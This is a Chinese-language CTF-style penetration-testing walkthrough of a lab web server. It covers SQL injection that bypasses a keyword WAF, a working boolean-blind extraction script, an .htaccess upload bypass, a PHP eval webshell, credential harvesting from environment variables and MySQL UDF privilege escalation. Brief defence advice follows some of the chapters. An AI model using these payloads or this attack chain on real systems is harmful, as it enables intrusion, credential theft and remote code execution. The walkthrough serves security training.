第一章 信息收集
1.1 端口扫描
渗透测试的第一步是对目标进行端口扫描,了解目标开放了哪些服务。使用 Nmap 进行扫描:
bash复制nmap -sT -sV -p- 10.10.1.187
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1
80/tcp open http Apache/2.4.38 (Debian)
3306/tcp open mysql MySQL 5.7.44
分析:
- 22 端口:SSH 服务,可能用于后续的远程登录
- 80 端口:Web 服务,主要攻击面
- 3306 端口:MySQL 数据库,可能存在数据库相关漏洞
1.2 Web 服务探测
访问 Web 服务,发现是一个登录页面。使用 curl 获取页面信息:
bash复制curl -s -I http://10.10.1.187
响应头:
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Set-Cookie: PHPSESSID=xxx; path=/
发现:
- Web 服务器:Apache 2.4.38
- 后端语言:PHP 7.4.9
- 存在 Session 机制
1.3 敏感文件探测的思维过程
在完成端口扫描和 Web 服务探测后,渗透测试人员需要进一步寻找可能泄露敏感信息的文件。这一步骤的目标是发现开发人员遗留的配置文件、备份文件或其他可能暴露系统信息的资源。
1.3.1 为什么要探测这些特定文件?
根据上一步的扫描结果,已知目标运行的是 Apache + PHP 环境。针对这一技术栈,需要有针对性地探测以下类型的文件:
| 文件类型 | 探测目标 | 探测原因 |
|---|---|---|
.index.php.swp | Vim 交换文件 | 开发人员使用 Vim 编辑 PHP 文件时,如果异常退出(如断电、SSH 断开),Vim 会自动生成 .文件名.swp 格式的交换文件。这个文件包含了源代码的完整内容,如果未被清理就部署到生产环境,攻击者可以下载并恢复源码 |
index.php.bak | 备份文件 | 开发人员在修改代码前常常会手动备份原文件,常见命名格式包括 .bak、.old、.backup、~ 等后缀。这些备份文件通常不会被 PHP 解析器执行,而是直接以文本形式返回 |
robots.txt | 爬虫协议文件 | 该文件用于告诉搜索引擎哪些目录不应该被索引。讽刺的是,这恰恰暴露了网站的敏感目录结构,如管理后台路径、私密文件夹等 |
.htaccess | Apache 配置文件 | 这是 Apache 的分布式配置文件,可能包含 URL 重写规则、访问控制策略、自定义错误页面等敏感配置信息 |
upload.php | 文件上传功能 | 根据 Web 应用的常见功能,登录后通常会有文件上传、用户管理等功能。探测 upload.php 是为了确认是否存在文件上传入口,这是获取 Webshell 的重要途径 |
1.3.2 探测方法的选择
在实际渗透测试中,可以使用多种工具进行敏感文件探测:
方法一:手动探测(适合针对性测试)
当已知目标技术栈时,可以针对性地探测特定文件:
bash复制# 针对 PHP + Apache 环境的敏感文件探测
for f in .index.php.swp index.php.bak robots.txt .htaccess upload.php; do
echo "=== $f ==="
curl -s -o /dev/null -w "%{http_code}" "http://10.10.1.187/$f"
echo ""
done
方法二:使用目录扫描工具(适合全面扫描)
bash复制# 使用 dirsearch 进行目录扫描
dirsearch -u http://10.10.1.187 -e php,txt,bak,swp,old
# 使用 gobuster 进行目录扫描
gobuster dir -u http://10.10.1.187 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak
1.3.3 探测结果分析
执行探测后,根据 HTTP 状态码判断文件是否存在:
| HTTP 状态码 | 含义 | 说明 |
|---|---|---|
| 200 | OK | 文件存在且可访问 |
| 301/302 | 重定向 | 文件存在但需要跳转(可能需要登录) |
| 403 | Forbidden | 文件存在但禁止访问 |
| 404 | Not Found | 文件不存在 |
本次探测结果:
=== .index.php.swp ===
200 <-- 文件存在!发现 Vim 交换文件泄露
=== index.php.bak ===
404 <-- 文件不存在
=== robots.txt ===
404 <-- 文件不存在
=== .htaccess ===
403 <-- 文件存在但禁止访问(Apache 默认配置)
=== upload.php ===
302 <-- 文件存在,重定向到登录页(需要认证)
关键发现:
.index.php.swp返回 200,存在 Vim 交换文件泄露,这是本次渗透的重要突破口upload.php返回 302,说明存在文件上传功能,但需要先登录才能访问
1.3.4 渗透测试思维总结
敏感文件探测不是盲目地尝试所有可能的文件名,而是需要:
- 根据技术栈选择目标:不同的技术栈有不同的敏感文件类型
- PHP:
.php.swp、.php.bak、config.php - Java:
.java、.class、WEB-INF/web.xml - Python:
.py、requirements.txt、__pycache__
- PHP:
- 理解文件产生的原因:知道为什么会存在这些文件,才能更有针对性地探测
- 编辑器临时文件:Vim 的
.swp、Emacs 的~ - 版本控制泄露:
.git、.svn - 备份文件:
.bak、.old、.backup
- 编辑器临时文件:Vim 的
- 结合业务逻辑推测:根据应用功能推测可能存在的页面
- 登录页面通常伴随注册、找回密码功能
- 后台管理通常有文件上传、用户管理功能
1.4 源码泄露分析
1.4.1 Vim 交换文件的恢复原理
Vim 交换文件(.swp)是 Vim 编辑器的自动保存机制。当用户编辑文件时,Vim 会创建一个以 . 开头、以 .swp 结尾的隐藏文件,用于存储编辑过程中的内容。如果 Vim 异常退出,这个文件会被保留。
恢复方法:
bash复制# 方法一:使用 strings 命令提取可读字符串
curl -s "http://10.10.1.187/.index.php.swp" -o index.php.swp
strings index.php.swp
# 方法二:使用 vim -r 恢复原始文件(更完整)
vim -r index.php.swp
# 在 vim 中执行 :w index.php.recovered 保存恢复的文件
1.4.2 源码审计的关键点
下载并分析源码后,需要重点关注以下几个方面:
- 用户输入处理:查看用户输入是否经过充分过滤
- 数据库操作:查看 SQL 语句是否使用参数化查询
- 安全函数:分析 WAF 或过滤函数的实现逻辑
- 敏感信息:查找硬编码的密码、密钥、API Token 等
1.4.3 关键代码分析
从恢复的源码中,发现以下关键代码:
WAF 过滤函数:
php复制function waf($str){
$ban_str = explode(',','select,ascii,sub,con,alter table,delete ,drop ,
update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,
eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,
drop%20,and%20');
foreach($ban_str as $v1){
if (contain($str, $v1)){
$s = lvlarrep($str, $v1); // 递归替换
$str = $s;
}
}
$str = str_replace('\'', ''', $str); // 单引号转义
return $str;
}
登录 SQL 语句:
php复制$sql = "SELECT * FROM user WHERE `username` = '$username' AND `password` = '$password';";
1.4.4 index.php 核心代码逻辑精讲
为了更透彻地理解漏洞,我们需要对这段 PHP 代码的执行逻辑进行深度拆解。这段代码是一个典型的"带 WAF 的登录验证"逻辑。
1. 黑名单定义 ($ban_str) 开发者定义了一个极其庞大的黑名单,试图拦截所有可能的 SQL 注入关键字:
- 查询类:
select,union,load_file - 操作类:
insert,update,delete,drop,alter - 函数类:
ascii,sub(对应 substr),sleep,user,phpinfo - 符号类:
',/*,*/,<script
2. 过滤逻辑的核心缺陷 代码使用了 foreach 遍历黑名单,并调用 lvlarrep 函数进行递归替换。
- 递归替换的初衷:开发者希望将
select替换为空,如果攻击者输入selselectect,替换一次后变成select,开发者希望通过递归继续替换,直到字符串中不再包含关键字。 - 实际效果:正是这种"聪明"的递归替换(或者特定的替换逻辑实现),往往留下了双写绕过的空间。如果替换逻辑是从左到右进行一次性匹配和删除,那么双写确实可以绕过。但在本例中,配合后续的测试发现,双写
selselectect确实成功保留了select,说明过滤机制存在逻辑漏洞。
3. 单引号转义与反斜杠遗漏
php复制$str = str_replace('\'', ''', $str);
这一行代码是导致 反斜杠注入 的直接原因。
- 它的作用:将所有的单引号
'替换为 HTML 实体'。这通常是为了防止 XSS,但在 SQL 上下文中,也能破坏闭合。 - 它的疏忽:没有处理反斜杠
\。在 MySQL 中,\是转义字符。攻击者输入admin\,经过 WAF 后依然是admin\。当它进入 SQL 语句:username = 'admin\'末尾的反斜杠转义了包裹username值的结束单引号,导致 SQL 解析器继续向后吞噬字符串,直到遇到下一个单引号。
4. 登录验证流程 代码最后构建 SQL 语句并执行:
- 如果查询结果为空,返回登录失败。
- 如果查询有结果(无论结果是什么),返回登录成功。 这就是为什么我们可以使用 布尔盲注:我们只需要构造一个 SQL 语句,使其逻辑结果为真(返回数据)或假(不返回数据),通过页面的"成功/失败"反馈来推断信息。
1.4.5 漏洞分析与利用思路
通过源码审计,发现以下安全问题:
| 问题 | 代码位置 | 影响 | 利用方法 |
|---|---|---|---|
| SQL 注入 | 登录 SQL 语句 | 用户输入直接拼接到 SQL 中 | 构造恶意输入绕过认证或提取数据 |
| WAF 绕过 | lvlarrep 函数 | 使用递归替换而非直接拒绝 | 双写关键字绕过,如 selselectect |
| 单引号处理不当 | str_replace | 单引号被转换但反斜杠未处理 | 使用反斜杠转义单引号 |
关键发现:
- WAF 的致命缺陷:WAF 使用递归替换(
str_ireplace)而不是直接拒绝恶意请求。这意味着如果输入selselectect,WAF 会删除中间的select,留下select,从而绕过过滤。 - 反斜杠未过滤:虽然单引号
'被转换为',但反斜杠\没有被处理。在 SQL 中,反斜杠可以转义下一个字符,这为构造注入提供了可能。 - SQL 语句结构:登录语句的结构为
WHERE username='$u' AND password='$p',如果能让 username 的值"吞掉"后面的单引号,就可以在 password 参数中注入 SQL 代码。
第二章 SQL 注入攻击
2.1 攻击思路的形成
在第一章的源码审计中,已经发现了三个关键问题:
- SQL 语句使用字符串拼接而非参数化查询
sql复制SELECT * FROM user WHERE `username` = '①...②' AND `password` = '③...④';
(注:这里为了演示,暂时忽略变量内容,①/②是包裹 username 的引号,③/④是包裹 password 的引号)
- WAF 使用递归替换可以被双写绕过
- 反斜杠字符未被过滤 现在需要将这些发现转化为实际的攻击方案.
2.2 反斜杠注入原理深度解析
2.2.1 核心机制:引号配对原则
要理解这个漏洞,首先要理解 MySQL 解析器是如何识别字符串的:MySQL 从左到右解析 SQL 语句,寻找成对出现的单引号。
- 原则一:字符串以第一个单引号开始。
- 原则二:字符串以下一个未被转义的单引号结束。
- 原则三:两个单引号中间的所有内容(包括空格、AND、password 字段名、等号等)统统被视为字符串的内容,不会被当作 SQL 命令执行。
2.2.2 漏洞触发过程图解
让我们给原始 SQL 语句中的四个单引号编上号:
sql复制SELECT * FROM user WHERE `username` = '①...②' AND `password` = '③...④';
- ① 号引号:username 值的开始
- ② 号引号:username 值的结束
- ③ 号引号:password 值的开始
- ④ 号引号:password 值的结束
场景 A:正常输入 输入:username = admin SQL:... WHERE username= '①admin②' ANDpassword = '③...④' ...
- 解析:①是开始,②是结束。
- 结果:
username的值是admin。
场景 B:恶意输入(反斜杠注入) 输入:username = admin\ SQL:... WHERE username= '①admin\' ANDpassword = '③...④' ...
这里的关键变化在于:反斜杠 \ 转义了原本用于结束字符串的单引号 ②。
- ① 号引号:字符串正常开始。
- ② 号引号:因为前面有
\,它变成了普通字符',失去了结束字符串的功能。 - 解析器继续向后找:寻找下一个能结束字符串的单引号。
- ③ 号引号:原本是
password值的开始引号,现在被迫变成了username值的结束引号。
2.2.3 最终的 SQL 结构
根据上述解析,SQL 语句被重新切分成了三个部分:
sql复制SELECT * FROM user WHERE `username` = 'admin\' AND `password` = ' or 1=1-- '
|_________________________|
^
这一整段变成了 username 的值
- username 的值:
admin' ANDpassword=- 注意:这个字符串包含了
AND关键字、password列名以及后面的等号=。 - 范围正是从 ① 号引号开始,到 ③ 号引号结束。
- 注意:这个字符串包含了
- 原本的 password 位置:现在脱离了引号的包围,变成了 SQL 语句的一部分。我们在这里输入的
or 1=1--就变成了有效的 SQL 逻辑。 - 注入结果:SQL 逻辑变为
WHERE (username = '...') OR (1=1),因为1=1永远为真,所以绕过了登录验证。
sql复制SELECT * FROM user WHERE `username` = 'admin\' AND `password` = ' or 1=1-- ';
-- 简化理解:
SELECT * FROM user WHERE `username` = '一个包含AND和password的乱七八糟字符串' or 1=1-- ';
2.3 验证 SQL 注入
2.3.1 布尔盲注的验证方法
在无法直接看到 SQL 查询结果的情况下,可以通过构造条件语句来判断注入是否成功。这种技术称为布尔盲注(Boolean-based Blind SQL Injection)。
验证原理:
- 构造一个永真条件(如
or 1=1),如果注入成功,应该返回正常结果 - 构造一个永假条件(如
or 1=2),如果注入成功,应该返回异常结果 - 通过对比两种情况的响应差异,确认注入点是否存在
bash复制# 测试永真条件 or 1=1(应该返回登录成功)
curl -s -X POST "http://10.10.1.187/" \
-d 'login=1&username=admin\&password= or 1=1-- '
# 测试永假条件 or 1=2(应该返回登录失败)
curl -s -X POST "http://10.10.1.187/" \
-d 'login=1&username=admin\&password= or 1=2-- '
测试结果:
or 1=1:返回"登陆成功"(页面显示登录成功)or 1=2:返回"哦欧"(页面显示登录失败)
两种条件产生了不同的响应,确认存在布尔盲注漏洞。
2.3.2 为什么不能直接获取数据?
在本案例中,虽然可以通过 SQL 注入绕过登录验证,但无法直接在页面上看到数据库查询的结果。这是因为:
- 应用程序只返回"登录成功"或"登录失败"两种状态
- 没有错误信息泄露(无报错注入的可能)
- 没有数据回显点(无联合查询注入的可能)
因此,需要使用布尔盲注技术,通过逐字符猜测的方式提取数据。
2.4 布尔盲注提取 Flag1
2.4.1 布尔盲注的工作原理
布尔盲注的核心思想是:通过构造条件语句,逐字符猜测目标数据,根据页面响应判断猜测是否正确。
提取数据的步骤:
- 确定数据长度:使用
LENGTH()函数判断目标字段的长度sql复制or LENGTH(password)=1-- or LENGTH(password)=2-- ... or LENGTH(password)=43-- <-- 当长度为 43 时返回"登录成功" - 逐字符提取:使用
MID()和ORD()函数逐个提取字符的 ASCII 码sql复制or ORD(MID(password,1,1))=102-- <-- 第1个字符的ASCII码是102,即'f' or ORD(MID(password,2,1))=108-- <-- 第2个字符的ASCII码是108,即'l' or ORD(MID(password,3,1))=97-- <-- 第3个字符的ASCII码是97,即'a' ...
为什么使用 ORD() 和 MID() 而不是 ASCII() 和 SUBSTR()?
这并非随机选择,而是基于对 1.4.3 节 WAF 源码的精准分析。
- 黑名单机制的直接证据: 在
index.php的源码中,我们看到了明确的黑名单定义:php复制$ban_str = explode(',','select,ascii,sub,...');- 被封锁:
ascii和sub都在黑名单中。如果直接使用ASCII()或SUBSTR()/SUBSTRING(),会被 WAF 识别并过滤(尽管 WAF 有递归替换漏洞,但直接避开是更优解)。 - 未封锁:
ord和mid不在黑名单中。这直接允许我们绕过检测。
- 被封锁:
- MID() 的替代原理:
- 同义词属性:根据 MySQL 官方文档,
MID(str,pos,len)是SUBSTRING(str,pos,len)的标准同义词(Synonym)。它们功能完全相同,但名字不同,刚好绕过对 "sub" 关键字的匹配。 - 语法:
MID(column_name, start, length),例如MID(password, 1, 1)截取密码的第 1 位字符。
- 同义词属性:根据 MySQL 官方文档,
- ORD() 的替代原理:
- 功能覆盖:
ORD()函数用于获取字符的数值编码。对于单字节字符(如 ASCII 字符),它的返回值与ASCII()函数完全一致。 - 绕过逻辑:由于 WAF 只封锁了
ascii关键字,使用ORD()可以达到同样的效果(将字符转换为数字以便比较),且完全隐形。
- 功能覆盖:
总结:渗透测试不是死记硬背工具,而是根据环境(源码/WAF规则)灵活选择同义函数(Synonyms)来达成目的。
2.4.2 自动化提取脚本
编写 Python 脚本进行布尔盲注,自动提取数据库中的密码(即 flag1):
python复制#!/usr/bin/env python3
import requests
import string
url = 'http://10.10.1.187/'
def test_bool(username, password):
sess = requests.session()
post_data = {
'login': '1',
'username': username,
'password': password
}
try:
resp = sess.post(url, data=post_data, timeout=5)
return '登陆成功' in resp.text
except:
return False
user_payload = 'admin\\'
# 获取密码长度
print("[*] Finding password length...")
for length in range(1, 100):
payload = f" or length(password)={length}-- "
if test_bool(user_payload, payload):
print(f"[+] Password length: {length}")
pwd_len = length
break
# 使用 ORD 和 MID 进行字符提取
print("[*] Extracting password character by character...")
password = ''
for pos in range(1, pwd_len + 1):
for code in range(32, 127):
payload = f" or ord(mid(password,{pos},1))={code}-- "
if test_bool(user_payload, payload):
password += chr(code)
print(f"[+] Password[{pos}]: {chr(code)} -> {password}")
break
print(f"\n[*] Final password: {password}")
2.4.3 脚本功能详解
第一部分:导入模块和定义目标
python复制#!/usr/bin/env python3
import requests # HTTP 请求库,用于发送 POST 请求
import string # 字符串常量库(本脚本未实际使用,可有可无)
url = 'http://10.10.1.187/' # 目标登录页面 URL
第二部分:布尔判断函数
python复制def test_bool(username, password):
"""
核心函数:发送登录请求并判断 SQL 条件是否为真
参数:
username: 用户名字段的值(包含注入 payload)
password: 密码字段的值(包含注入 payload)
返回:
True - 页面包含"登陆成功",说明 SQL 条件为真
False - 页面不包含"登陆成功",说明 SQL 条件为假
"""
sess = requests.session() # 创建会话对象,保持 Cookie
post_data = {
'login': '1', # 触发登录逻辑的参数
'username': username, # 注入点 1
'password': password # 注入点 2
}
try:
resp = sess.post(url, data=post_data, timeout=5)
return '登陆成功' in resp.text # 通过页面内容判断条件真假
except:
return False # 网络错误时返回 False
为什么这样设计?
布尔盲注的核心是:通过页面响应的差异来判断 SQL 条件是否为真。
- 当 SQL 条件为真时,查询返回结果,页面显示"登陆成功"
- 当 SQL 条件为假时,查询无结果,页面显示"哦欧"(登录失败)
这个函数封装了这个判断逻辑,后续只需调用 test_bool() 并传入不同的 payload,就能知道对应的 SQL 条件是真还是假。
第三部分:构造注入 payload
python复制user_payload = 'admin\\' # 用户名设为 admin\(反斜杠转义后面的单引号)
为什么用户名是 admin\?
回顾 SQL 语句结构:
sql复制SELECT * FROM user WHERE `username` = '$username' AND `password` = '$password';
当 username = admin\ 时,SQL 变为:
sql复制SELECT * FROM user WHERE `username` = 'admin\' AND `password` = '[我们的payload]';
^^
反斜杠转义了这个单引号
此时 username 的值变成了 admin' AND password = ,而 password 参数的位置变成了可控的 SQL 代码注入点。
第四部分:获取密码长度
python复制print("[*] Finding password length...")
for length in range(1, 100): # 尝试长度从 1 到 99
payload = f" or length(password)={length}-- "
# ^ ^^
# | SQL 注释符,忽略后面的内容
# 空格开头,与前面的单引号形成 ' or ...
if test_bool(user_payload, payload):
print(f"[+] Password length: {length}")
pwd_len = length
break # 找到正确长度后退出循环
payload 构造解析:
当 length=43 时,完整的 SQL 语句变为:
sql复制SELECT * FROM user WHERE `username` = 'admin\' AND `password` = ' or length(password)=43-- ';
等效于:
sql复制SELECT * FROM user WHERE `username` = '一个字符串' or length(password)=43;
-- 如果 password 字段长度确实是 43,则 or 后面的条件为真,整个 WHERE 为真
-- 查询返回结果,页面显示"登陆成功"
为什么从 1 到 100 遍历?
因为不知道密码的具体长度,所以需要逐个尝试。当某个长度值使条件为真时,就找到了正确的密码长度。
第五部分:逐字符提取密码
python复制print("[*] Extracting password character by character...")
password = '' # 存储提取出的密码
for pos in range(1, pwd_len + 1): # 遍历每个字符位置(MySQL 字符串下标从 1 开始)
for code in range(32, 127): # 遍历可打印 ASCII 字符(32-126)
payload = f" or ord(mid(password,{pos},1))={code}-- "
# ^^^ ^^^
# | |
# | MID(str, pos, len): 从 str 的第 pos 位取 len 个字符
# ORD(char): 返回字符的 ASCII 码
if test_bool(user_payload, payload):
password += chr(code) # chr() 将 ASCII 码转为字符
print(f"[+] Password[{pos}]: {chr(code)} -> {password}")
break # 找到当前位置的字符后,进入下一个位置
payload 构造解析:
以提取第 1 个字符为例,当 pos=1, code=102 时:
sql复制SELECT * FROM user WHERE ... or ord(mid(password,1,1))=102-- ';
mid(password,1,1)取 password 的第 1 个字符ord(...)返回该字符的 ASCII 码- 如果第 1 个字符是
f(ASCII 码 102),条件为真,页面返回"登陆成功"
为什么用 ORD() 和 MID()?
- 绕过 WAF:WAF 过滤了
ascii和sub关键字,但没有过滤ord和mid - 功能等价:
ORD(char)=ASCII(char):返回字符的 ASCII 码MID(str,pos,len)=SUBSTR(str,pos,len):截取子字符串
为什么遍历 32-127?
ASCII 码 32-126 是可打印字符的范围:
- 32: 空格
- 48-57: 数字 0-9
- 65-90: 大写字母 A-Z
- 97-122: 小写字母 a-z
- 其他: 标点符号例如:
{、|、}以及 ` flag 通常由字母、数字和特殊字符组成,都在这个范围内。
2.4.4 脚本执行流程图
2.4.5 时间复杂度分析
- 获取长度:最多 100 次请求
- 提取字符:每个字符最多 95 次请求(127-32),共 43 个字符
- 总请求数:最多 100 + 43 × 95 = 4185 次请求
优化思路:
- 二分查找:将每个字符的查找从 O(95) 降到 O(log95) ≈ 7 次
- 多线程:并行提取多个位置的字符
- 字符集优化:根据 flag 格式,优先尝试常见字符
执行结果:
[*] Finding password length...
[+] Password length: 43
[*] Extracting password character by character...
[+] Password[1]: f -> f
[+] Password[2]: l -> fl
[+] Password[3]: a -> fla
[+] Password[4]: g -> flag
...
[*] Final password: flag1{75813557-25c4-456c-8a44-6a4d4c62c859}
获取 Flag1:flag1{75813557-25c4-456c-8a44-6a4d4c62c859}
2.5 SQL 注入防御建议
- 使用参数化查询:使用 PDO 或 MySQLi 的预处理语句
- 输入验证:对用户输入进行严格的白名单验证
- 最小权限原则:数据库用户只授予必要的权限
- 错误处理:不要向用户显示详细的数据库错误信息
第三章 文件上传绕过
3.1 攻击思路的形成
在第一章的信息收集中,已经发现 upload.php 返回 302 状态码,说明存在文件上传功能但需要登录才能访问。现在已经通过 SQL 注入获取了 admin 的密码(flag1),可以登录后台尝试利用文件上传功能获取 Webshell。
攻击目标:上传一个可执行的 PHP 文件(Webshell),获取服务器的命令执行权限。
3.2 登录后台
使用获取到的 flag1 作为 admin 密码登录:
bash复制curl -s -X POST "http://10.10.1.187/" \
-d "login=1&username=admin&password=flag1{75813557-25c4-456c-8a44-6a4d4c62c859}" \
-c /tmp/cookies.txt -L
成功登录后进入文件上传页面。
3.3 文件上传漏洞分析
3.3.1 常见的文件上传防护机制
Web 应用通常会对上传的文件进行多层检查:
| 检查类型 | 检查方法 | 绕过思路 |
|---|---|---|
| 扩展名黑名单 | 禁止 .php、.phtml 等 | 使用其他可执行扩展名如 .phar、.php5 |
| 扩展名白名单 | 只允许 .jpg、.png 等 | 利用解析漏洞或配置文件 |
| MIME 类型检查 | 检查 Content-Type | 修改请求头中的 Content-Type |
| 文件内容检查 | 检查文件头魔数 | 在 PHP 代码前添加图片文件头 |
| 文件大小限制 | 限制上传文件大小 | 压缩代码或分片上传 |
3.3.2 为什么选择 .htaccess 绕过?
根据第一章的信息收集,目标服务器是 Apache。Apache 有一个特性:允许在目录中放置 .htaccess 文件来覆盖服务器配置。如果:
- Apache 配置了
AllowOverride All或AllowOverride FileInfo - 文件上传功能没有过滤
.htaccess文件
那么攻击者可以上传一个 .htaccess 文件,修改该目录下的文件解析规则,使任意文件被当作 PHP 执行。
这种方法的优势:
- 不需要猜测服务器支持哪些 PHP 扩展名
- 可以让任意文件名(甚至没有扩展名)被解析为 PHP
- 绕过了基于扩展名的黑白名单检查
3.4 上传 .htaccess 文件
3.4.1 .htaccess 文件的作用
.htaccess 是 Apache 的分布式配置文件,可以在不修改主配置文件的情况下,对特定目录进行配置。常用的指令包括:
SetHandler:设置文件的处理程序AddType:添加 MIME 类型映射RewriteRule:URL 重写规则
3.4.2 构造恶意 .htaccess
创建 .htaccess 文件,使文件名为 "abc" 的文件被当作 PHP 执行:
bash复制cat > /tmp/.htaccess << 'EOF'
<FilesMatch "abc">
SetHandler application/x-httpd-php
</FilesMatch>
EOF
配置解释:
<FilesMatch "abc">:匹配文件名为 "abc" 的文件SetHandler application/x-httpd-php:将匹配的文件交给 PHP 处理程序处理
为什么使用 "abc" 而不是 ".php"?
因为上传功能很可能禁止了 .php 扩展名,但不会禁止没有扩展名或使用无害扩展名的文件。通过 .htaccess,可以让服务器将任意文件名解析为 PHP。
3.4.3 上传 .htaccess
bash复制curl -s -X POST "http://10.10.1.187/upload.php" \
-b /tmp/cookies.txt \
-F "fileToUpload=@/tmp/.htaccess" \
-F "submit=上传文件"
3.5 上传 Webshell
3.5.1 什么是 Webshell?
Webshell 是一种通过 Web 服务执行的后门程序,通常是一个 PHP/ASP/JSP 脚本,允许攻击者通过 HTTP 请求执行服务器命令。
常见的 Webshell 类型:
| 类型 | 特点 | 示例 |
|---|---|---|
| 一句话木马 | 代码极简,功能强大 | <?php @eval($_POST['cmd']);?> |
| 大马 | 功能完整,有图形界面 | 中国菜刀、蚁剑等配套使用 |
| 内存马 | 无文件落地,难以检测 | 通过反序列化注入内存 |
3.5.2 创建并上传 Webshell
创建一句话木马(文件名为 abc,与 .htaccess 中的配置匹配):
bash复制cat > /tmp/abc << 'EOF'
<?php
@eval($_POST['hack']);
?>
EOF
# 上传 webshell
curl -s -X POST "http://10.10.1.187/upload.php" \
-b /tmp/cookies.txt \
-F "fileToUpload=@/tmp/abc" \
-F "submit=上传文件"
代码解释:
@:错误抑制符,隐藏可能的错误信息eval():将字符串当作 PHP 代码执行$_POST['hack']:从 POST 请求中获取名为 "hack" 的参数
3.6 验证 Webshell
测试 webshell 是否可以执行命令:
bash复制curl -s -X POST "http://10.10.1.187/uploads/abc" \
-d 'hack=system("id");'
输出:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功获取 Web 容器的命令执行权限!当前用户是 www-data,这是 Apache 的默认运行用户。
3.7 进一步信息收集
获取 Webshell 后,需要进行进一步的信息收集,为后续提权做准备:
bash复制# 查看系统信息
curl -s -X POST "http://10.10.1.187/uploads/abc" \
-d 'hack=system("uname -a");'
# 检查是否在 Docker 容器中
curl -s -X POST "http://10.10.1.187/uploads/abc" \
-d 'hack=system("ls -la /.dockerenv");'
# 查看环境变量(可能包含敏感信息)
curl -s -X POST "http://10.10.1.187/uploads/abc" \
-d 'hack=system("env");'
发现:
- 存在
/.dockerenv文件,说明当前处于 Docker 容器中 - 环境变量中包含 MySQL 数据库的连接信息
3.8 文件上传防御建议
- 白名单验证:只允许上传特定类型的文件(如
.jpg、.png) - 重命名文件:上传后使用随机文件名,避免攻击者预测文件路径
- 存储隔离:将上传文件存储在 Web 根目录之外,或使用对象存储服务
- 禁用 .htaccess:在 Apache 配置中设置
AllowOverride None - 文件内容检查:使用文件类型检测库验证文件真实类型
- 权限控制:上传目录禁止执行权限
第四章 MySQL UDF 提权
4.1 攻击思路的形成
在上一章中,已经获取了 Web 容器的命令执行权限,但当前用户是 www-data,权限有限。通过信息收集发现:
- 当前处于 Docker 容器中(存在
/.dockerenv文件) - 环境变量中包含 MySQL root 密码
- MySQL 服务运行在另一个容器中(主机名为
db)
攻击思路:利用 MySQL root 权限进行 UDF 提权,在 MySQL 容器中获取命令执行能力,然后寻找进一步提权的方法。
4.2 获取数据库凭据
4.2.1 为什么要关注环境变量?
在 Docker 环境中,敏感信息(如数据库密码)通常通过环境变量传递给容器。这是 Docker 的常见配置方式,但也带来了安全风险:任何能够执行命令的用户都可以读取这些环境变量。
bash复制curl -s -X POST "http://10.10.1.187/uploads/abc" \
--data-urlencode 'hack=system("env | grep -i mysql");'
输出:
MYSQL_PASSWORD=xzPzdsKJmUMdPand
MYSQL_HOST=db
MYSQL_USER=root
MYSQL_DATABASE=ctf
关键发现:
- 数据库用户是 root(最高权限)
- 数据库主机是 db(Docker 内部网络主机名)
- 获取了明文密码
4.3 UDF 提权原理详解
4.3.1 什么是 UDF?
UDF(User Defined Function,用户自定义函数)是 MySQL 提供的扩展机制,允许用户通过共享库(.so 文件)添加自定义函数。这些函数可以在 SQL 语句中像内置函数一样使用。
4.3.2 UDF 提权的原理
如果攻击者能够:
- 将恶意的共享库文件写入 MySQL 的 plugin 目录
- 使用
CREATE FUNCTION语句注册自定义函数
那么就可以在 MySQL 进程的权限下执行任意系统命令。
常用的 UDF 函数:
| 函数名 | 返回类型 | 功能 |
|---|---|---|
sys_exec | INTEGER | 执行命令,返回退出码 |
sys_eval | STRING | 执行命令,返回输出结果 |
4.3.3 UDF 提权的前提条件
| 条件 | 检查方法 | 说明 |
|---|---|---|
| MySQL root 权限 | 已知 root 密码 | 需要 FILE 权限写入文件 |
secure_file_priv 配置 | SELECT @@secure_file_priv | 必须为空或指向 plugin 目录 |
| 知道 plugin 目录路径 | SELECT @@plugin_dir | 需要将 UDF 文件写入此目录 |
| 目标系统架构 | uname -m | 32 位和 64 位系统使用不同的 UDF 文件 |
4.4 检查 MySQL 环境
bash复制# 在 Kali 上连接 MySQL
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl \
-e "SELECT version(); SELECT @@plugin_dir; SELECT @@secure_file_priv;"
输出:
version(): 5.7.44
@@plugin_dir: /usr/lib64/mysql/plugin/
@@secure_file_priv: (NULL - 无限制)
4.5 准备 UDF 文件
使用 sqlmap 自带的 UDF 库文件:
bash复制# 解密 sqlmap 的 64 位 UDF 文件
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
-i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
-o /tmp/lib_mysqludf_sys_64.so
# 检查文件类型
file /tmp/lib_mysqludf_sys_64.so
# 输出: ELF 64-bit LSB shared object, x86-64
# 转换为十六进制
xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt
4.6 写入 UDF 文件并创建函数
bash复制# 读取十六进制内容
UDF_HEX=$(cat /tmp/udf64_hex.txt)
# 写入 UDF 文件到 MySQL plugin 目录
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl \
-e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';"
# 创建 sys_exec 函数
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl \
-e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_64.so';"
4.7 测试命令执行
bash复制# 执行命令并将输出写入文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('id > /tmp/out.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('whoami >> /tmp/out.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/out.txt');" mysql
# 读取输出
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/out.txt');" mysql
输出:
